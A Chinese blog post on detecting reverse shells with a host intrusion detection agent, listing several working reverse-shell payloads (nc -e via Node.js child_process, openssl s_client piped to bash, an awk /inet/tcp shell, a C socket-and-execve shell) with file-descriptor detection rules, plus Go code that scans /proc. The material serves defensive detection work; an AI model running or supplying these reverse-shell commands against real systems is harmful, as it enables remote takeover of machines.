    目标机执行后的结果如下:
    创建了sh进程,0和1描述符都指向了socket。

    匹配规则:sh的0,和1文件描述符指向socket

    require('child_process').exec('nc -e /bin/sh 127.0.0.1 1234')
    
    or
    
    -var x = global.process.mainModule.require
    -x('child_process').exec('nc 127.0.0.1 1234 -e /bin/bash')

    目标机执行后的结果如下:

    创建了sh进程,0和1描述符都指向了pipe,这两个pipe关联到nc进程上。nc创建了socket外联。

    匹配规则:sh进程的0,和1文件描述符指向pipe

    用openssl 反弹shell

    攻击者

    openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
    openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
    openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
    

    靶机

    openssl s_client -quiet -connect 127.0.0.1:1234|/bin/bash|openssl s_client -quiet -connect 127.0.0.1:12345
    

    目标机执行后的结果如下:

    创建了bash进程,0和1描述符都指向了pipe。
    匹配规则:bash进程的0,和1文件描述符指向pipe

    awk 'BEGIN {s = "/inet/tcp/0/127.0.0.1/1234"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
    

    无明显文件句柄特征

    
    #include <stdio.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    
    int main(void){
        int port = 1234;
        struct sockaddr_in revsockaddr;
    
        int sockt = socket(AF_INET, SOCK_STREAM, 0);
        revsockaddr.sin_family = AF_INET;       
        revsockaddr.sin_port = htons(port);
        revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
    
        connect(sockt, (struct sockaddr *) &revsockaddr, 
        sizeof(revsockaddr));
        dup2(sockt, 0);
        dup2(sockt, 1);
        dup2(sockt, 2);
    
        char * const argv[] = {"/bin/sh", NULL};
        execve("/bin/sh", argv, NULL);
    
        return 0;       
    }
    

    目标机执行后的结果如下:

    创建了一个常住进程“sh ”, 它的得0和1文件描述符都指向socket。

    匹配规则:sh进程的0,和1文件描述符指向socket

    归纳起来,shell环境的进程如果0和1(或某一个)文件描述符都关联到socket或者pipe,就认为它是反弹shell。

    shell 环境包含: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash

    HIDS-Agent 开发

    使用 cgroups + etcd + kafka 开发而成的hids的架构,agent 部分使用go 开发而成, 会把采集的数据写入到kafka里面,由后端的规则引擎(go开发而成)消费,配置部分以及agent存活使用etcd。关于agent 使用cgroups限制资源以及使用etcd做配置管理agent存活等已经在前文介绍了一下。下面介绍一下agent分析反弹shell的部分。

    代码例子:
    主要是分析 Linux /proc的内容

    import (
        "fmt"
        "io/ioutil"
        "os"
        "strconv"
        "strings"
    )
    
    func GetProcessList() (resultData []map[string]string) {
        var dirs []string
        var err error
        dirs, err = dirsUnder("/proc")
        if err != nil || len(dirs) == 0 {
            return
        }
        for _, v := range dirs {
            pid, err := strconv.Atoi(v)
            if err != nil {
                continue
            }
            statusInfo := getStatus(pid)
            ppid,_ := strconv.Atoi(statusInfo["PPid"])
            pstatusInfo := getStatus(ppid)
            command := getcmdline(pid)
            fd := getfd(pid)
            m := make(map[string]string)
            m["pid"] = v
            m["ppid"] = statusInfo["PPid"]
            m["name"] = statusInfo["Name"]
    
            if len(strings.Fields(statusInfo["Uid"])) == 4 {
                m["uid"] = strings.Fields(statusInfo["Uid"])[0]
                m["euid"] = strings.Fields(statusInfo["Uid"])[1]
                m["suid"] = strings.Fields(statusInfo["Uid"])[2]
                m["fsuid"] =strings.Fields(statusInfo["Uid"])[3]
            }
    
            if len(strings.Fields(statusInfo["Gid"])) ==4 {
                m["gid"] = strings.Fields(statusInfo["Gid"])[0]
                m["egid"] = strings.Fields(statusInfo["Gid"])[1]
                m["sgid"] = strings.Fields(statusInfo["Gid"])[2]
                m["fsgid"] =strings.Fields(statusInfo["Gid"])[3]
            }
    
            if len(strings.Fields(pstatusInfo["Uid"])) ==4  {
                m["puid"] = strings.Fields(pstatusInfo["Uid"])[0]
                m["peuid"] = strings.Fields(pstatusInfo["Uid"])[1]
                m["psuid"] = strings.Fields(pstatusInfo["Uid"])[2]
                m["pfsuid"] =strings.Fields(pstatusInfo["Uid"])[3]
            }
    
            if len(strings.Fields(pstatusInfo["Gid"])) ==4 {
                m["pgid"] = strings.Fields(pstatusInfo["Gid"])[0]
                m["pegid"] = strings.Fields(pstatusInfo["Gid"])[1]
                m["psgid"] = strings.Fields(pstatusInfo["Gid"])[2]
                m["pfsgid"] =strings.Fields(pstatusInfo["Gid"])[3]
            }
    
            m["fd"] = fd
            m["command"] = command
            resultData = append(resultData, m)
        }
        return
    }
    func getcmdline(pid int) string {
        cmdlineFile := fmt.Sprintf("/proc/%d/cmdline", pid)
        cmdlineBytes, e := ioutil.ReadFile(cmdlineFile)
        if e != nil {
            return ""
        }
        cmdlineBytesLen := len(cmdlineBytes)
        if cmdlineBytesLen == 0 {
            return ""
        }
        for i, v := range cmdlineBytes {
            if v == 0 {
                cmdlineBytes[i] = 0x20
            }
        }
        return strings.TrimSpace(string(cmdlineBytes))
    }
    
    
    
    func getStatus(pid int) (status map[string]string) {
        status = make(map[string]string)
        statusFile := fmt.Sprintf("/proc/%d/status", pid)
        var content []byte
        var err error
        content, err = ioutil.ReadFile(statusFile)
        if err != nil {
            return
        }
        for _, line := range strings.Split(string(content), "\n") {
            if strings.Contains(line, ":") {
                kv := strings.SplitN(line, ":", 2)
                status[kv[0]] = strings.TrimSpace(kv[1])
            }
        }
        //fmt.Println(status)
        return
    }
    
    func dirsUnder(dirPath string) ([]string, error) {
        fs, err := ioutil.ReadDir(dirPath)
        if err != nil {
            return []string{}, err
        }
    
        sz := len(fs)
        if sz == 0 {
            return []string{}, nil
        }
        ret := make([]string, 0, sz)
        for i := 0; i < sz; i++ {
            if fs[i].IsDir() {
                name := fs[i].Name()
                if name != "." && name != ".." {
                    ret = append(ret, name)
                }
            }
        }
        return ret, nil
    }
    
    
    func getfd(pid int) string {
        fdDir := fmt.Sprintf("/proc/%d/fd", pid)
    
        dirs, err := dirsFile(fdDir)
        if err != nil || len(dirs) == 0 {
            return ""
        }
    
        m := []string{}
        for _, v := range dirs {
            fileInfo, err := os.Readlink(v)
            if err != nil {
                continue
            }
            countSplit := strings.Split(v, "/")
            m=append(m,strings.Join(countSplit[3:], "/")+"---"+fileInfo)
    
        }
    
        return strings.Join(m, " ")
    }
    
    func dirsFile(dirPath string) ([]string, error) {
        fs, err := ioutil.ReadDir(dirPath)
        if err != nil {
            return []string{}, err
        }
        sz := len(fs)
        if sz == 0 {
            return []string{}, nil
        }
        ret := make([]string, 0, sz)
        for i := 0; i < sz; i++ {
            if !fs[i].IsDir() {
                name := dirPath + "/" + fs[i].Name()
                ret = append(ret, name)
            }
        }
        return ret, nil
    }
    

    抓取的数据如下

    {
        "command":"bash -i",
        "egid":"0",
        "euid":"0",
        "fd":"fd/0---socket:[27215273] fd/1---socket:[27215273] fd/2---socket:[27215273] fd/255---/dev/tty",
        "fsgid":"0",
        "fsuid":"0",
        "gid":"0",
        "name":"bash",
        "pegid":"0",
        "peuid":"0",
        "pfsgid":"0",
        "pfsuid":"0",
        "pgid":"0",
        "pid":"23923",
        "ppid":"23592",
        "psgid":"0",
        "psuid":"0",
        "puid":"0",
        "sgid":"0",
        "suid":"0",
        "uid":"0"
    }
    

    对应上面的规则,在server 端做流式分析,很多东西一目了然,不过, 百密总有一疏,绕过的方法大家自主了解,技术在对抗中升华。

  • 相关阅读:
    ASP.NET 2.0 解决了 CodeBehind 需要控件声明同步的问题
    Script# 把 C# 编译为 JavaScript
    我不懂 ASP.NET
    ASP.NET 是如何让 aspx 完全编译的呢?
    ASP.NET 设计优秀之处
    .NET 的灵魂是什么?
    初次使用Atlas JavaScript (Part 2 Web Service扩展)
    XNA Microsoft 平台的新游戏框架
    ViewState ASP.NET 的一个特有存储容器
    2 Ways Thinking In Ajax
  • 原文地址:https://www.cnblogs.com/bonelee/p/16348635.html
Copyright © 2020-2023  润新知